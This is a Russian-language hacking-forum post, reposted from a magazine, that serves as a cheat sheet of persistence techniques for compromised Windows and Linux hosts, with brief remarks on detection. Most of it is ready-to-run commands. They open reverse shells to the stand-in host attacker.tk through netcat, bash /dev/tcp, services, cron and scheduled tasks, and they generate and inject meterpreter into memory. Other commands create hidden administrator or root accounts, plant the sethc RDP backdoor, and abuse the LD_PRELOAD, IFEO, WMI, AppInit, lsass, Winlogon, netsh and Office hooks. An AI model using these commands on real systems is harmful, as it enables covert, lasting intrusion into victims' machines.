• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Шпаргалка по persistence. Как надежно прописаться на хосте или выявить факт компрометации

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
Прошлые части:
https://xss.pro/threads/41919/
https://xss.pro/threads/54316/

Когда получен шелл на хосте, первое, что необходимо сделать, — это обеспечить себе «постоянство» (persistence) в системе. Ведь во многих случаях на RCE может быть лишь одна попытка, а значит, недопустимо потерять доступ из‑за каких‑нибудь досадных обстоятельств.

Есть разные способы организовать возможность постоянного присутствия, у каждого свои достоинства и недостатки:
  • записать что‑либо на HDD:
    • плюс: переживет перезагрузку;
    • минусы: заметно для человека, заметно для антивируса;
  • внедрить код в RAM:
    • плюс: незаметно для человека;
    • минусы: не переживет перезагрузку, может быть заметно для антивируса;
  • изменить конфигурацию ОС:
    • плюсы: незаметно для антивируса, переживет перезагрузку;
    • минус: может быть заметно для человека.
Чаще всего при закреплении в системе все же приходится обращаться к диску, поскольку это единственный способ не вылететь из‑за случайной перезагрузки. В общем случае успешность такой персистентности зависит от двух факторов:
  • насколько скрытно от пользователя прописан запуск бэкдора;
  • насколько безобидно для антивируса тело бэкдора.
Очевидно, что с точки зрения закрепления Linux — более приоритетная система. Компьютеры с ним, как правило, редко обслуживаются пользователями и не перезагружаются месяцами. Да и как точка опоры они подходят больше. Хосты под управлением Linux удобны еще и потому, что они редко защищены антивирусом, а антивирус для персистентности — это ощутимая проблема.

В свою очередь, в Windows больше вариантов автозагрузки, что может помочь лучше замаскироваться в ее недрах. Ведь, в отличие от проникновения в Linux, нам почти всегда придется работать рядом с пользователем, опытным или не очень.

Когда имеешь дело не с одной целью, а с целой группой, весьма удобно использовать для машины атакующего доменное имя, а не IP. Тогда для каждой жертвы или группы жертв можно будет задать свое уникальное имя в DNS-зоне атакующего (далее в примерах — attacker.tk). Это позволяет эффективнее управлять жертвами. Выглядит это примерно так.
dns.png

Если антивирусы не главная проблема, то в качестве reverse shell часто можно использовать простые nc.exe, ncat.exe и socat.exe. Все они обладают возможностями RAT и зачастую нормально проходят антивирус. Поскольку это программы, работающие из командной строки, можно сделать их запуск на машине жертвы незаметным. В Windows для этого достаточно поменять subsystem у исполняемого файла:
Код:
pe header → optional header nt fields → subsystem → GUI (0x0002)
Описанные далее примеры помогут не только при закреплении на машине жертвы, но и для выявления фактов компрометации.

Анализ элементов автозагрузки — это часто поиск иголки в стоге сена. Обычно приходится судить по названию исполняемого файла, тому, где он находится (в правильных местах или где‑то в профиле пользователя), а также по названию и описанию компании‑разработчика, зашитым внутри файла. Впрочем, ничто не мешает атакующему подделать эти данные.

Антивирусы же, как правило, не удаляют записи в списках автозагрузки, а удаляют сами исполняемые файлы. Поэтому битая ссылка в автозагрузке — тревожный сигнал.

Во многих случаях для персистентности могут потребоваться права администратора. Это тоже может стать проблемой, ведь далеко не каждый шелл обладает нужными привилегиями. Поэтому в каждом примере я буду помечать символом $ ввод непривилегированного пользователя, а # — администратора. Для обнаружения будем использовать утилиту Autoruns, результаты ты можешь наблюдать на скриншотах.

ШЕЛЛ​

Организовать персистентность можно прямо из командной строки. Чтобы шелл открывался всегда, используем команду с бесконечным циклом, уходящую в фон.

Windows​

Вот как это работает в Windows:
Код:
cmd$> start cmd /C "for /L %n in (1,0,10) do ( nc.exe attacker.tk 8888 -e cmd.exe & ping -n 60 127.0.0.1 )"

Linux​

Код:
bash$> ( bash -c "while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done"; )&
bash$> nohup bash -c "while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done" &
  • Плюсы: управляемый интервал запуска, подойдет любой пользователь.
  • Минус: не переживет перезагрузку.
shell.png

АВТОЗАГРУЗКА​

Говоря о персистентности, нельзя пройти мимо классической и всем известной автозагрузки. Ее преимущество в том, что она будет работать с правами любого, даже неадминистративного пользователя.

Windows​

Код:
cmd$> copy meter.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
cmd$> reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\users\username\meter.exe"
cmd#> copy meter.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\system32\meter.exe"

Linux​

Код:
bash$> echo "nc attacker.tk 8888 -e /bin/bash 2>/dev/null &" >> ~/.bashrc
  • Плюсы: переживает перезагрузку, подойдет любой пользователь.
  • Минус: неуправляемый интервал запуска.
autorun.png


СЕРВИСЫ​

Использовать службу для закрепления более выгодно, чем автозагрузку, так как Service Manager будет сам перезапускать службу, если потребуется.

Для Windows создание службы потребует права администратора.
Код:
cmd#> sc create persistence binPath= "nc.exe -e \windows\system32\cmd.exe attacker.tk 8888" start= auto
cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000
cmd#> sc start persistence
В Linux создать службу можно и с учетки простого пользователя. Вот варианты для рута и для простого пользователя.
Код:
bash#> vim /etc/systemd/system/persistence.service
bash$> vim ~/.config/systemd/user/persistence.service
Содержимое файла:
Код:
[Unit]
Description=persistence

[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.tk/8888 0>&1'
Restart=always
RestartSec=60

[Install]
WantedBy=default.target
И запускаем созданную службу:
Код:
bash#> systemctl enable persistence.service
bash#> systemctl start persistence.service
bash$> systemctl --user enable persistence.service
bash$> systemctl --user start persistence.service
  • Плюсы: переживает перезагрузку, управляемый интервал запуска, подходит любой пользователь.
  • Минус: необходимы права администратора.
service.png


ЗАДАЧИ​

Создание запланированной задачи — весьма удобный способ поддержания доступа. Заодно можно задать время и интервал запуска. Но делать это разрешено, как правило, только привилегированным пользователям.

Windows​

Код:
cmd#> at 13:37 \temp\nc.exe -e \windows\system32\cmd.exe attacker.tk 8888
cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr "c:\temp\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888"

Linux​

Код:
bash#> echo "* * * * * bash -i >& /dev/tcp/attacker.tk/8888 0>&1" >> /var/spool/cron/root
bash#> echo $'SHELL=/bin/bash\n* * * * * root bash -i >& /dev/tcp/attacker.tk/8888 0>&1\n'> /etc/cron.d/pwn
  • Плюсы: переживает перезагрузку, управляемый интервал запуска.
  • Минус: нужны права администратора/root.
tasks.png


IN-MEMORY​

Внедрение бэкдора, который будет висеть в оперативный памяти, имеет смысл, если нужно закрепиться на целевой машине, не оставляя никаких следов. Антивирусы обычно слабо контролируют деятельность в памяти, поскольку это сопряжено с большим дополнительным расходом ресурсов. Даже опытный пользователь вряд ли заметит что‑то, что скрыто внутри легального процесса.

В качестве in-memory-бэкдора мы будем использовать meterpreter. Это, пожалуй, самый известный RAT, способный работать исключительно в памяти, не трогая при этом диск.

Windows​

Код:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 -f raw -o meter32.bin exitfunc=thread StagerRetryCount=999999
cmd$> inject_windows.exe PID meter32.bin

Linux​

Код:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 -f raw -o meter32.bin exitfunc=thread StagerRetryCount=999999
bash$> inject_linux PID meter32.bin
Внедрить код мы можем не только в нативные процессы, но и в интерпретируемые, например интерпретатором Python:
Код:
msfvenom -p python/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 -o meter.py exitfunc=thread StagerRetryCount=999999
$> pyrasite 12345 meter.py
За максимальную скрытность платим потерей персистентности после перезагрузки.
  • Плюсы: подойдет любой пользователь, трудно обнаружить человеку.
  • Минусы: не переживает перезагрузку.
memory.png

Поскольку вредоносный поток запускается вне какой‑либо библиотеки, Procexp часто показывает такой поток как запущенный от нулевого адреса.

КОНФИГИ​

Организация персистентности через изменение конфигурации ОС — отличный способ спрятаться от антивируса. Это единственный случай, когда мы не используем вообще никакой исполняемый код. Но применимо это, только если у нас есть прямой доступ к целевой машине.

Создание скрытого пользователя, от имени которого можно будет потом получить удаленный доступ, — это, пожалуй, самый известный вариант такой атаки.

Windows​

Код:
cmd#> net user attacker p@ssw0rd /add
cmd#> net localgroup administrators /add attacker
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v attacker /t REG_DWORD /d 0 /f

Linux​

Код:
bash#> openssl passwd -1 -salt test
bash#> echo 'post:$1$test$pi/xDtU5WFVRqYS6BMU8X/:0:0::/:/bin/bash' >> /etc/passwd
Простое и эффективное внедрение закладки в Windows через RDP:
Код:
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"
cmd#> reg add "HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0x0 /f
  • Плюсы: трудно обнаружить антивирусом, переживает перезагрузку.
  • Минусы: требует права администратора/root, не подходит, если машина за NAT или файрволом.
rdp.png


ОСОБЫЕ ПРИЕМЫ В LINUX​

Вот мы и добрались до трюков, которые сработают только в определенной ОС. Начнем с Linux.

LD_PRELOAD​

В Linux для того, чтобы в каждый запускаемый процесс подгружался нужный нам код, можно использовать переменную LD_PRELOAD:
Код:
bash#> echo /path/to/meter.so >> /etc/ld.so.preload
bash#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profile
bash$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc
  • Плюсы: переживает перезагрузку, подойдет любой пользователь.
  • Минус: неуправляемый интервал запуска.

rc.local​

Один раз после перезагрузки мы можем выполнить команды в rc.local.
Код:
bash#> echo "nc attacker.tk 8888 -e /bin/bash &" >> /etc/rc.local
  • Плюс: переживает перезагрузку.
  • Минусы: неуправляемый интервал запуска, нужны права root.

ОСОБЫЕ ПРИЕМЫ В WINDOWS​

Здесь у нас будет больше интересных трюков!

Дебаггер​

Если атакующий знает, что атакуемый пользователь часто запускает какую‑то программу, скажем калькулятор, то он может внедрить свой код в тело этой программы с помощью джойнера. Однако всякое вмешательство в исполняемые файлы неумолимо повышает уровень недоверия к ним со стороны антивируса. Куда более изящным исполнением будет перехват запуска:
Код:
cmd#> copy calc.exe _calc.exe
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v Debugger /t reg_sz /d "cmd /C _calc.exe & c:\windows\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888" /f
Как только victim запустит, а затем закроет калькулятор, атакующий примет reverse shell.
  • Плюс: переживает перезагрузку.
  • Минус: требует права администратора.
debug.png


Gflags​

Почти таким же образом можно организовать запуск своего кода, когда пользователь закрывает определенную программу.
Код:
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
cmd#> reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "nc -e \windows\system32\cmd.exe attacker.tk 8888"
  • Плюс: переживает перезагрузку.
  • Минус: требует права администратора.
Autoruns этот способ не обнаруживает, но ты можешь проверить ветку реестра:
Код:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit

WMI​

Достаточно надежный способ автозапуска — через события WMI. Мы можем запускать бэкдор через равные интервалы времени.
Код:
cmd#> wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="persistence", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
cmd#> wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="persistence", ExecutablePath="C:\users\admin\meter.exe",CommandLineTemplate="C:\users\admin\meter.exe"
cmd#> wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name="persistence"", Consumer="CommandLineEventConsumer.Name="persistence""
  • Плюсы: переживает перезагрузку, управляемый интервал запуска.
  • Минус: требует права администратора.
wmi.png


AppInit​

В Windows есть интересный способ внедрения библиотек в оконные приложения с помощью AppInit (они должны использовать user32.dll).
Код:
cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f
cmd#> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "c:\path\to\meter64.dll" /f

cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f
cmd#> reg add "HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t reg_sz /d "c:\path\to\meter32.dll" /f
  • Плюс: переживает перезагрузку.
  • Минусы: требует права администратора, неуправляемый интервал запуска.
appinit.png


Lsass​

Еще одна возможность — прописать библиотеку в системном процессе lsass. Это достаточно выгодное место, поскольку в данном процессе хранятся те самые учетные записи, которые мы извлекаем утилитой mimikatz.
Код:
cmd#> reg add "HKLM\system\currentcontrolset\control\lsa" /v "Notification Packages" /t reg_multi_sz /d "rassfm\0scecli\0meter" /f
  • Плюс: переживает перезагрузку.
  • Минусы: требуются права администратора, неуправляемый интервал запуска, можно убить систему.
lsa.png


Winlogon​

Чтобы каждый раз, как кто‑то из пользователей входит в систему, открывался шелл, можно использовать механизм Winlogon.
Код:
cmd#> reg add "HKLM\software\microsoft\windows nt\currentversion\winlogon" /v UserInit /t reg_sz /d "c:\windows\system32\userinit.exe,c:\windows\meter.exe"
  • Плюс: переживает перезагрузку.
  • Минус: неуправляемый интервал запуска.
winlogon.png


Netsh​

Утилита настройки сети Netsh тоже позволяет подгружать произвольную библиотеку. Это открывает возможность организовать через нее импровизированную автозагрузку. Результат будет выглядеть безобидно, так как первоначально вызывается системный компонент Windows.
Код:
cmd#> c:\windows\syswow64\netsh.exe
netsh> add helper c:\windows\meter32.dll
cmd#> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v persistence /t REG_SZ /d "C:\Windows\SysWOW64\netsh.exe"
В итоге получаем такую цепочку: autorun → netsh.exe → meter.dll. При этом meter.dll будет скрыт от глаз пользователя — тот увидит лишь запуск легитимной Netsh, родного компонента Windows.
  • Плюсы: переживает перезагрузку, сложно обнаружить пользователю.
  • Минус: требует права администратора.
netsh.png


Office​

Этот способ подойдет, если атакуемый пользователь часто работает с офисным пакетом. Не такая уж редкость!
Код:
cmd$> reg add "HKCU\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d C:\users\username\meter.dll
  • Плюсы: переживает перезагрузку, подойдет любой пользователь.
  • Минус: неуправляемый интервал запуска.
office.png

ВЫВОДЫ​

Мы рассмотрели основные и наиболее популярные варианты, которые позволяют прописаться в системе — скрытно или не очень. Они по большей части не зависят от версии и конфигурации ОС и легко реализуемы. Универсального способа нет (иначе обнаружение было бы слишком простым!), и у каждого есть достоинства и недостатки. При выборе наша цель — сбалансировать надежность и скрытность.

Этим списком выбор, конечно же, не ограничивается, и все в конечном счете зависит только от твоей фантазии и изобретательности. В Windows хороший помощник в поиске новых возможностей для закрепления — все та же утилита Autoruns.

Однако выгодно расположенная в системе ссылка на бэкдор — это еще не все. О том, какой исполняемый файл для этого использовать и как при этом эффективно обойти антивирус, я расскажу в следующей своей статье.

Автор @s0i37
источник: xakep.ru
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх